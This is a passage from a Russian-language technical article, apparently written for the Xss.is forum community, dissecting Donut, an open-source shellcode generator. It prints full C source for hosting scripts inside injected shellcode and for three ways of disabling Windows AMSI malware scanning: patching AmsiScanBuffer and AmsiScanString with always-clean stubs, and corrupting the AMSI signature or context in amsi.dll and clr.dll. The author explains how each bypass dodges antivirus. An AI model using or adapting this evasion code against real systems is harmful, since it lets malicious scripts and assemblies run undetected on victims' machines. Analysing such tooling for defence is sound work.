    BSTR                        obj;
    BOOL                        disabled;
    WCHAR                       buf[DONUT_MAX_NAME+1];

    // 1. Allocate memory for unicode format of script
    script = (PWCHAR)inst->api.VirtualAlloc(
        NULL,
        (inst->mod_len + 1) * sizeof(WCHAR),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);

    // 2. Convert string to unicode.
    if(script != NULL) {
      // 2. Convert string to unicode.
      inst->api.MultiByteToWideChar(CP_ACP, 0, mod->data,
        -1, script, mod->len * sizeof(WCHAR));

      // setup the IActiveScriptSite interface
      mas.site.lpVtbl = (IActiveScriptSiteVtbl*)&activescript_vtbl;
      ActiveScript_New(inst, &mas.site);

      // setup the IActiveScriptSiteWindow interface for GUI stuff
      mas.siteWnd.lpVtbl = (IActiveScriptSiteWindowVtbl*)&siteWnd_vtbl;
      ActiveScriptSiteWindow_New(inst, &mas.siteWnd);

      // setup the IHost interface for WScript object
      mas.wscript.lpVtbl = (IHostVtbl*)&wscript_vtbl;
      Host_New(inst, &mas.wscript);

      // 4. Initialize COM, MyIActiveScriptSite
      DPRINT("CoInitializeEx");
      hr = inst->api.CoInitializeEx(NULL, COINIT_MULTITHREADED);

      if(hr == S_OK) {
        // 5. Instantiate the active script engine
        DPRINT("CoCreateInstance(IID_IActiveScript)");

        hr = inst->api.CoCreateInstance(
          &inst->xCLSID_ScriptLanguage, 0,
          CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,
          &inst->xIID_IActiveScript, (void **)&engine);
```

```
          if(hr == S_OK) {
            // 6. Get IActiveScriptParse object from engine
            DPRINT("IActiveScript::QueryInterface(IActiveScriptParse)");

            hr = engine->lpVtbl->QueryInterface(
              engine,
              #ifdef _WIN64
              &inst->xIID_IActiveScriptParse64,
              #else
              &inst->xIID_IActiveScriptParse32,
              #endif
              (void **)&parser);

            if(hr == S_OK) {
              // 7. Initialize parser
              DPRINT("IActiveScriptParse::InitNew");
              hr = parser->lpVtbl->InitNew(parser);

              if(hr == S_OK) {
                // 8. Set custom script interface
                DPRINT("IActiveScript::SetScriptSite");
                mas.wscript.lpEngine = engine;

                hr = engine->lpVtbl->SetScriptSite(
                  engine, (IActiveScriptSite *)&mas);

                if(hr == S_OK) {
                  DPRINT("IActiveScript::AddNamedItem(\"%s\")", inst->wscript);
                  ansi2unicode(inst, inst->wscript, buf);
                  obj = inst->api.SysAllocString(buf);
                  hr = engine->lpVtbl->AddNamedItem(engine, (LPCOLESTR)obj,
SCRIPTITEM_ISVISIBLE);
                  inst->api.SysFreeString(obj);

                  if(hr == S_OK) {
                    // 9. Load script
                    DPRINT("IActiveScriptParse::ParseScriptText");
                    hr = parser->lpVtbl->ParseScriptText(
                      parser, (LPCOLESTR)script, NULL, NULL, NULL, 0, 0, 0, NULL, NULL);

                    if(hr == S_OK) {
                      // 10. Run script
                      DPRINT("IActiveScript::SetScriptState(SCRIPTSTATE_CONNECTED)");
                      hr = engine->lpVtbl->SetScriptState(
                        engine, SCRIPTSTATE_CONNECTED);

                      // SetScriptState blocks here
                    }
                  }
                }
```

```
            }
            DPRINT("IActiveScriptParse::Release");
            parser->lpVtbl->Release(parser);
          }
          DPRINT("IActiveScript::Close");
          engine->lpVtbl->Close(engine);

          DPRINT("IActiveScript::Release");
          engine->lpVtbl->Release(engine);
        }
      }
      DPRINT("Erasing script from memory");
      Memset(script, 0, (inst->mod_len + 1) * sizeof(WCHAR));

      DPRINT("VirtualFree(script)");
      inst->api.VirtualFree(script, 0, MEM_RELEASE | MEM_DECOMMIT);
    }
}
```

Функция RunScript должна запускать скрипт на исполнение, предварительно создав всю обвязку из скриптового хоста и интерпретатора скриптового языка. Для этого сначала выделяется память с помощью функции VirtualAlloc, а исходный код скрипта конвертируется из кодировки ANSI текущей кодовой страницы операционной системы в Unicode-кодировку (UTF-16 на Венде). Я бы скорее использовал для этих целей буфер на куче процесса (функция HeapAlloc/malloc, ога?), чтобы не отсвечивать скриптом в открытом виде на отдельных страницах виртуальной памяти процесса (все таки в куче процесса его чуть сложнее будет найти), но что имеем, то имеем. Далее код инициализирует реализованные интерфейсы IActiveScriptSite, IActiveScriptSiteWindow и IHost с помощью вызова соответствующих функций, которые мы уже рассмотрели. Затем происходит инициализация инфраструктуры COM с помощью функции CoInitializeEx, если шеллкод находится в процессе, который уже работал с COM, то эта инициализация по сути не нужна, но лишним попытаться ее сделать еще раз не будет, мало ли процесс с шеллкодом еще не имел дел с COM’ом. С помощью функции CoCreateInstance происходит инициализация скиптового интерпретатора (движка) по его уникальному идентификатору, затем код запрашивает интерфейс IActiveScriptParse (парсер текущего интерпретатора) через IUnknown и метод QueryInterface. Далее происходит необходимая инициализация: вызов методов InitNew (инициализация движка), SetScriptSite (установка собственной реализации IActiveScriptSite в качестве хоста), AddNamedItem (добавление собственной реализации WScript в пул известных объектов), а за инициализацией происходит парсинг скрипта (метод ParseScriptText) и его запуск на исполнение (метод SetScriptState с параметром SCRIPTSTATE_CONNECTED).

Ну вот, собственно, и все, что нужно, чтобы запустить скрипт на исполнение в своем Цэшном коде. Кода для этого многовато, но ничего сложного в этом нет. В конце этого раздела хотел еще добавить, что так же, как и в случае с исполнение дотнет сборок (Assembly) из предыдущего раздела, весь исполняемый скриптовый код будет отправлен на проверку антивирусу через технологию AMSI. При этом любые вложенные в код Eval'ы и Execut'ы так же будут проверены, сколько бы слоев эвалов вы не делали. Само собой автор Пончика знал об этом, поэтому сделал несколько вариантов обхода технологии AMSI. Какие именно? Посмотрим в следующем разделе.

7. Обходы треклятого AMSI

AMSI (Anti-Malware Scan Interface) – это своего рода ноухау мелкомягких, которое было создано для противодействия бесфайловым угрозам и различного рода вредоносным скриптам (PowerShell, VBScript, JScript, VBA и со сравнительно недавних пор и Дотнэт). В первом приближении эта технология реализована следующим образом. Интерпретаторы скриптов и дотнетовский рантайм в процессе своей работы подгружают библиотеку amsi.dll. У этой библиотеки есть ряд экспортируемых функций, таких как AmsiScanBuffer. Перед непосредственным исполнением какого-либо скрипта интерпретатор вызывает функцию AmsiScanBuffer, эта функция отправляет текст скрипта так называемым AMSI-провайдерам (антивирусам), вердикт о том, является ли переданный скрипт вредоносным или нет, отправляется обратно от провайдера, а функция возвращает его через параметр. Вся передача данных туда и обратно происходит по RPC. Если в скрипте был найден вредоносный код, то интерпретатор не станет его запускать и вернет ошибку. AMSI-провайдеры в свою очередь регистрируются в реестре операционной системы в виде COM-объектов в ключе «HKLM\SOFTWARE\Microsoft\AMSI\Providers» и обычно являются компонентами антивируса (обычными дллечками). Автор Поничка реализовал три метода обхода AMSI и назвал их «A», «B» и «C» соответственно, давайте посмотрим, что же там такое сделано.
C:

```
#if defined(BYPASS_AMSI_A)

// fake function that always returns S_OK and AMSI_RESULT_CLEAN
HRESULT WINAPI AmsiScanBufferStub(
    HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT  *result)
{
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

// This function is never called. It's simply used to calculate
// the length of AmsiScanBufferStub above.
//
// The reason it performs a multiplication is because MSVC can identify
// functions that perform the same operation and eliminate them
// from the compiled code. Null subroutines are eliminated, so the body of
// function needs to do something.

int AmsiScanBufferStubEnd(int a, int b) {
    return a * b;
}

// fake function that always returns S_OK and AMSI_RESULT_CLEAN
HRESULT WINAPI AmsiScanStringStub(
    HAMSICONTEXT amsiContext,
    LPCWSTR      string,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT  *result)
{
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

int AmsiScanStringStubEnd(int a, int b) {
    return a + b;
}

BOOL DisableAMSI(PDONUT_INSTANCE inst) {
    HMODULE dll;
    DWORD   len, op, t;
    LPVOID  cs;

    // try load amsi. if unable, assume DLL doesn't exist
    // and return TRUE to indicate it's okay to continue
    dll = inst->api.LoadLibraryA(inst->amsi);
```

```
if(dll == NULL) return TRUE;

// resolve address of AmsiScanBuffer. if not found,
// return FALSE because it should exist ...
cs = inst->api.GetProcAddress(dll, inst->amsiScanBuf);
if(cs == NULL) return FALSE;

// calculate length of stub
len = (ULONG_PTR)AmsiScanBufferStubEnd -
      (ULONG_PTR)AmsiScanBufferStub;

DPRINT("Length of AmsiScanBufferStub is %" PRIi32 " bytes.", len);

// check for negative length. this would only happen when
// compiler decides to re-order functions.
if((int)len < 0) return FALSE;

// make the memory writeable. return FALSE on error
if(!inst->api.VirtualProtect(
  cs, len, PAGE_EXECUTE_READWRITE, &op)) return FALSE;

DPRINT("Overwriting AmsiScanBuffer");
// over write with virtual address of stub
Memcpy(cs, ADR(PCHAR, AmsiScanBufferStub), len);
// set memory back to original protection
inst->api.VirtualProtect(cs, len, op, &t);

// resolve address of AmsiScanString. if not found,
// return FALSE because it should exist ...
cs = inst->api.GetProcAddress(dll, inst->amsiScanStr);
if(cs == NULL) return FALSE;

// calculate length of stub
len = (ULONG_PTR)AmsiScanStringStubEnd -
      (ULONG_PTR)AmsiScanStringStub;

DPRINT("Length of AmsiScanStringStub is %" PRIi32 " bytes.", len);

// check for negative length. this would only happen when
// compiler decides to re-order functions.
if((int)len < 0) return FALSE;

// make the memory writeable
if(!inst->api.VirtualProtect(
  cs, len, PAGE_EXECUTE_READWRITE, &op)) return FALSE;

DPRINT("Overwriting AmsiScanString");
// over write with virtual address of stub
Memcpy(cs, ADR(PCHAR, AmsiScanStringStub), len);
// set memory back to original protection
inst->api.VirtualProtect(cs, len, op, &t);
```

```
    return TRUE;
}

#elif defined(BYPASS_AMSI_B)

BOOL DisableAMSI(PDONUT_INSTANCE inst) {
    HMODULE        dll;
    PBYTE          cs;
    DWORD          i, op, t;
    BOOL           disabled = FALSE;
    PDWORD         Signature;

    // try load amsi. if unable to load, assume
    // it doesn't exist and return TRUE to indicate
    // it's okay to continue.
    dll = inst->api.LoadLibraryA(inst->amsi);
    if(dll == NULL) return TRUE;

    // resolve address of AmsiScanBuffer. if unable, return
    // FALSE because it should exist.
    cs = (PBYTE)inst->api.GetProcAddress(dll, inst->amsiScanBuf);
    if(cs == NULL) return FALSE;

    // scan for signature
    for(i=0;;i++) {
      Signature = (PDWORD)&cs[i];
      // is it "AMSI"?
      if(*Signature == *(PDWORD)inst->amsi) {
        // set memory protection for write access
        inst->api.VirtualProtect(cs, sizeof(DWORD),
          PAGE_EXECUTE_READWRITE, &op);

        // change signature
        *Signature++;

        // set memory back to original protection
        inst->api.VirtualProtect(cs, sizeof(DWORD), op, &t);
        disabled = TRUE;
        break;
      }
    }
    return disabled;
}

#elif defined(BYPASS_AMSI_C)

// Attempt to find AMSI context in .data section of CLR.dll
// Could also scan PEB.ProcessHeap for this..
// Disabling AMSI via AMSI context is based on idea by Matt Graeber
// https://gist.github.com/mattifestation/ef0132ba4ae3cc136914da32a88106b9
```

```
BOOL DisableAMSI(PDONUT_INSTANCE inst) {
    LPVOID                  clr;
    BOOL                    disabled = FALSE;
    PIMAGE_DOS_HEADER       dos;
    PIMAGE_NT_HEADERS       nt;
    PIMAGE_SECTION_HEADER   sh;
    DWORD                   i, j, res;
    PBYTE                   ds;
    MEMORY_BASIC_INFORMATION mbi;
    _PHAMSICONTEXT          ctx;

    // get address of CLR.dll. if unable, this
    // probably isn't a dotnet assembly being loaded
    clr = inst->api.GetModuleHandleA(inst->clr);
    if(clr == NULL) return FALSE;

    dos = (PIMAGE_DOS_HEADER)clr;
    nt  = RVA2VA(PIMAGE_NT_HEADERS, clr, dos->e_lfanew);
    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +
      nt->FileHeader.SizeOfOptionalHeader);

    // scan all writeable segments while disabled == FALSE
    for(i = 0;
        i < nt->FileHeader.NumberOfSections && !disabled;
        i++)
    {
      // if this section is writeable, assume it's data
      if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
        // scan section for pointers to the heap
        ds = RVA2VA (PBYTE, clr, sh[i].VirtualAddress);

        for(j = 0;
            j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR);
            j += sizeof(ULONG_PTR))
        {
          // get pointer
          ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
          // query if the pointer
          res = inst->api.VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
          if(res != sizeof(mbi)) continue;

          // if it's a pointer to heap or stack
          if ((mbi.State   == MEM_COMMIT    ) &&
              (mbi.Type    == MEM_PRIVATE   ) &&
              (mbi.Protect == PAGE_READWRITE))
          {
            ctx = (_PHAMSICONTEXT)ptr;
            // check if it contains the signature
            if(ctx->Signature == *(PDWORD*)inst->amsi) {
              // corrupt it
```

```
                ctx->Signature++;
                disabled = TRUE;
                break;
              }
            }
          }
        }
    }
    return disabled;
}

#elif defined(BYPASS_AMSI_D)
// This is where you may define your own AMSI bypass.
// To rebuild with your bypass, modify the makefile to add an option to build with
BYPASS_AMSI_C defined.

BOOL DisableAMSI(PDONUT_INSTANCE inst) {

}

#endif
```

В обходе AMSI типа «A» код находит базовый адрес библиотеки amsi.dll, находит адреса функций AmsiScanBuffer и AmsiScanString и переписывает их начальные опкоды кодом собственных функций AmsiScanBufferStub и AmsiScanStringStub соответственно. Предварительно добавив прав на запись для страниц виртуальной памяти, на которых находятся эти функции, конечно же. Код этих «стаб» функций всегда возвращает вызывающему то, что переданный на проверку код не является вредоносным. Достаточно просто и работает, если антивирус и его проактивная защита не сочтут такой патчинг функции вредоносным сам по себе.

В обходе AMSI типа «B» происходит примерно тоже самое. Однако определить такую модификацию опкодов функции несколько сложнее, чем в предыдущем обходе, давайте вкратце. В коде функции AmsiScanBuffer происходит проверка сигнатуры (32-битное число) служебных структур (контекстов), которые клиенты передают технологии при инициализации. Код находит эту сигнатуру непосредственно в опкодах функции и увеличивает ее на единицу, таким образом при проверке кода на вредоносность контекст по мнению AMSI является невалидным. А если контекст не валидный, то и проверять ничего не нужно.

Обход AMSI типа «C» немного посложнее и направлен именно на противодействие проверкам дотнет сборок (Assembly) из фреймворка версии 4.8. Этот обход основан на поиске в виртуальной памяти процесса библиотеки фреймворка clr.dll, в секции данных которой находится тот самый злополучный AMSI-контекст. Далее, как в обходе типа «B» можно найти сигнатуру в этой структуре и модифицировать ее, тем

самым мы получим абсолютно тот же результат, и проверок производиться не будет. Этот обход замечателен тем, что нам не нужно добавлять исполняемым страницам виртуальной памяти права на запись, что может вызывать эрекцию у проактивной защиты антивирусов. С другой стороны, этот вариант обхода не является универсальным и подходит только для защиты дотнет сборок.

Для реализации собственных обходов AMSI автор Пончика заботливо оставил нам тип «D». Кроме того, в файле bypass.c еще есть обход WLDP (Windows Lock Down Policy), в некоторых случаях эта технология может мешать скриптам инициализировать некоторые COM-объекты. Суть обхода там абсолютно такая же, как и в обходе AMSI типа «A», так что останавливаться на нем мы не будем. Если что-то не понятно, милости просим в комментарии к этой статье.

8. Заключение

Ну чтож, букав было много, но мы справились, с чем вас и поздравляю. Надеюсь, вам было интересно и полезно чтение этой статьи. Этой статьей я хотел не только осветить интересный оуперсорсный проект, но и показать, что технологии COM не такие страшные, как их малюют, даже для прожжённых Цэшников. Так что, не пугайтесь разбираться в сложных на первый взгляд технологиях, это как минимум интересно, а как максимум знания и опыт, полученные в ходе их использования, останутся с вами на всегда. Спасибо, что прочитали мою статью, если что-то не ясно, пишите в комментарии, не стесняйтесь задавать вопросы. Надеюсь, что вам было интересно, всего хорошего!

PS: Статья посвящается одному моему стародавнему бро, который очень любит Цэ, но почему-то боится Плюсов и COM’а.

Специально для моего любимого комьюнити Xss.is